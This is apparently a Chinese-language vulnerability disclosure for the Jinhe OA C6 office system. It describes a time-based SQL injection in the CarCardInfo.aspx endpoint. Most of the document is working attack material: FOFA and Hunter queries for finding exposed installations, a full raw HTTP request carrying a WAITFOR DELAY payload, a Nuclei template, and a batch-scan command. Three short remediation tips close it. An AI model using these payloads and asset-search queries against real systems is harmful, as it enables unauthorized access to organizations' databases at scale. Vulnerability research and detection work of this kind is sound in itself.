【产品介绍】

金和OA协同办公管理系统C6软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以协助企事业单位迅速建立便捷规范的办公环境。

【漏洞介绍】

金和OA CarCardInfo.aspx接口存在sql注入，攻击者可通过此漏洞获取敏感信息。

【资产测绘Query】

Fofa语法:app="金和网络-金和OA"

Hunter语法:app.name="金和 OA"

【漏洞复现】

【poc】

POST /c6/JHSoft.Web.Vehicle/CarCardInfo.aspx/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 2096
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=dvljrtibwe4dne1nyvda0iw1; myie=false
Connection: close

_ListPage1LockNumber=1&_ListPage1RecordCount=0&VIEWSTATE=%2FwEPDwUKMjAyNTc4NzA3NA8WAh4Ic3RyUXVlcnkFCWRlbGZsYWc9MBYCZg9kFgQCAg8PFgIeBFRleHQFBuafpeivomRkAgMPDxYMHglfUGFnZVNpemUCKB4PX1NvcnRBdHRyaWJ1dGVzMtgDAAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAAFFVc2VyV2ViQ29udHJvbC5EYXRhR3JpZCwgVmVyc2lvbj04LjUuNS4xMDAxLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAADlVc2VyV2ViQ29udHJvbC5EYXRhR3JpZC5EYXRhR3JpZCtTb3J0QXR0cmlidXRlc0NvbGxlY3Rpb24BAAAAEEF0dHJpYkNvbGxlY3Rpb24EOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAAAAAAAAAAAEAUAAAAAAAAACx4MX1JlY29yZENvdW50Zh4HX2J1dHRvbjLsBAABAAAA%2F%2F%2F%2F%2FwEAAAAAAAAADAIAAABRVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQsIFZlcnNpb249OC41LjUuMTAwMSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAyVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQuRGF0YUdyaWQrQnV0dG9uc0NvbGxlY3Rpb24BAAAAB2J1dHRvbnMEL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAEAAAABAAAAEAUAAAAEAAAACQYAAAANAwUGAAAAJVVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW0EAAAABF9JbWcGX1RpdGxlCF9EaXNwbGF5EV9Eb3NjcmlwdGlvblRpdGxlAQEAAQECAAAABgcAAAA3Li4vSkhzb2Z0LlVJLkxpYi9pbWFnZXMvaWNvbi50b29sYmFyLzE2cHgvZGV0ZXJtaW5lLnBuZwYIAAAABuehruWumgEGCQAAAAALHglfSWRlbnRpZnkCAR4LX2RhdGFTb3VyY2UFaTxyb290PjxyZWNvcmQ%2BPElEPjwvSUQ%2BPGl0ZW0gQ29sdW1uTmFtZT0n6L2m5Z6LJz48L2l0ZW0%2BPGl0ZW0gQ29sdW1uTmFtZT0n54mM54WnJz48L2l0ZW0%2BPC9yZWNvcmQ%2BPC9yb290PmRkZJju89%2Fcb0ViP%2BHqYZwpEbj%2BGmY0EecUW2zJyvdwmUng&txt_CarType=1');WAITFOR DELAY '0:0:5'—&txt_CarCode=1&bt_Search=%B2%E9%D1%AF&VIEWSTATEGENERATOR=0A1FC31B&EVENTTARGET=&EVENTARGUMENT=

【Nuclei-Poc】

id: jinhe-oa-sql-injection

info:
  name: jinhe oa sql injection
  author: xxx
  severity: high
  description: Checks for SQL injection vulnerability in CarCardInfo.aspx using response size and status code.
  tags: sqli


requests:
  - raw:
      - |-
        @timeout=5s
        POST /c6/JHSoft.Web.Vehicle/CarCardInfo.aspx/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
        Connection: close
        Content-Length: 2096

        _ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=%2FwEPDwUKMjAyNTc4NzA3NA8WAh4Ic3RyUXVlcnkFCWRlbGZsYWc9MBYCZg9kFgQCAg8PFgIeBFRleHQFBuafpeivomRkAgMPDxYMHglfUGFnZVNpemUCKB4PX1NvcnRBdHRyaWJ1dGVzMtgDAAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAAFFVc2VyV2ViQ29udHJvbC5EYXRhR3JpZCwgVmVyc2lvbj04LjUuNS4xMDAxLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAADlVc2VyV2ViQ29udHJvbC5EYXRhR3JpZC5EYXRhR3JpZCtTb3J0QXR0cmlidXRlc0NvbGxlY3Rpb24BAAAAEEF0dHJpYkNvbGxlY3Rpb24EOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAOFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAAAAAAAAAAAEAUAAAAAAAAACx4MX1JlY29yZENvdW50Zh4HX2J1dHRvbjLsBAABAAAA%2F%2F%2F%2F%2FwEAAAAAAAAADAIAAABRVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQsIFZlcnNpb249OC41LjUuMTAwMSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAyVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQuRGF0YUdyaWQrQnV0dG9uc0NvbGxlY3Rpb24BAAAAB2J1dHRvbnMEL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAL1VzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAEAAAABAAAAEAUAAAAEAAAACQYAAAANAwUGAAAAJVVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW0EAAAABF9JbWcGX1RpdGxlCF9EaXNwbGF5EV9Eb3NjcmlwdGlvblRpdGxlAQEAAQECAAAABgcAAAA3Li4vSkhzb2Z0LlVJLkxpYi9pbWFnZXMvaWNvbi50b29sYmFyLzE2cHgvZGV0ZXJtaW5lLnBuZwYIAAAABuehruWumgEGCQAAAAALHglfSWRlbnRpZnkCAR4LX2RhdGFTb3VyY2UFaTxyb290PjxyZWNvcmQ%2BPElEPjwvSUQ%2BPGl0ZW0gQ29sdW1uTmFtZT0n6L2m5Z6LJz48L2l0ZW0%2BPGl0ZW0gQ29sdW1uTmFtZT0n54mM54WnJz48L2l0ZW0%2BPC9yZWNvcmQ%2BPC9yb290PmRkZJju89%2Fcb0ViP%2BHqYZwpEbj%2BGmY0EecUW2zJyvdwmUng&txt_CarType=1');WAITFOR DELAY '0:0:3'--&txt_CarCode=1&bt_Search=%B2%E9%D1%AF&__VIEWSTATEGENERATOR=0A1FC31B&__EVENTTARGET=&__EVENTARGUMENT=

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=3'
          - 'status_code == 200'
        condition: and

【批量验证】

.
uclei -l 1.txt -t 1.yaml

【修复提议】

1、请联系厂商进行修复。
2、如非必要，禁止公网访问该系统。
3、设置白名单访问。